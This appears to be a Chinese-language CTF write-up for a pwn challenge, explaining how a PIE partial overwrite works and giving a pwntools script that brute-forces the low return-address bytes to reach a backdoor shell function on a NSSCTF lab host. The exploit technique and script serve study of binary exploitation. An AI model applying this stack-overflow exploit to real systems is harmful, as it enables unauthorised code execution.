查看程序保护
发现开了pie:
partial write(部分写入)就是一种利用PIE技术缺陷的bypass技术。由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写入,每字节8位)就可以快速爆破或者直接劫持EIP
简单来说就是后12位是不会被随机化的,接着看代码逻辑
发现有个后门的函数
可以getshell,但是问题是怎么溢出到这里,vuln函数的buf偏移是0x100,加上8个字节的覆盖rbp,那这个read函数只有2个字节可以利用,考虑低位绕过。看一下汇编
vuln函数:
main函数:
因为开了pie的缘故,导致后12位跟上图的一样,前面的字节全部随机化,我们现在可以将地址后12位覆盖成我们backdoor函数的偏移0x185,一个字节八位,我们还需要后面四位是什么,才能构造成16位(2个字节),后四位我们需要爆破
爆破脚本如下:
from pwn import *context(os=’linux’,arch=’amd64′,log_level=’debug’)io=remote(“node5.anna.nssctf.cn”,28309)
for num in range(15): io=remote(“node5.anna.nssctf.cn”,28309) io.recvuntil(b”What’s your name?\n”) num=num<<0xc #左移12位,因为要爆破后四位 payload=b’a’*0x100+b’a’*0x8+p16(0x185+num) io.send(payload) if b”You are born to pwn!” in io.recv(): io.interactive() io.close()